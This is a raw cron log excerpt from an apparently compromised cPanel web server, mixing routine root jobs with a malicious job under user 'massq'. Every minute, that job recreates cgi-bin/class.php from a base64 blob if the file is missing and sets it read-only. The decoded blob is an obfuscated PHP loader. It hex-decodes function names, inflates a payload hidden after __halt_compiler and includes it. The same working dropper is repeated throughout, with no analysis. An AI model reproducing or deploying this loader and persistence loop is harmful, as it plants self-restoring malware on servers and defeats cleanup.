Nov 13 20:47:01 server CROND[6355]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:48:01 server CROND[7276]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:49:01 server CROND[8185]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:50:01 server CROND[9266]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 20:50:01 server CROND[9269]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:50:01 server CROND[9268]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 20:50:01 server CROND[9270]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 20:50:01 server CROND[9267]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 20:51:01 server CROND[10159]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:52:01 server CROND[11014]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:53:01 server CROND[11913]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:54:01 server CROND[12719]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:55:01 server CROND[13018]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 20:55:01 server CROND[13019]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 20:55:01 server CROND[13021]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:56:01 server CROND[14016]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:57:01 server CROND[14872]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:57:01 server CROND[14873]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 20:58:01 server CROND[15462]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:59:01 server CROND[15865]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:00:01 server CROND[16728]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 21:00:01 server CROND[16729]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
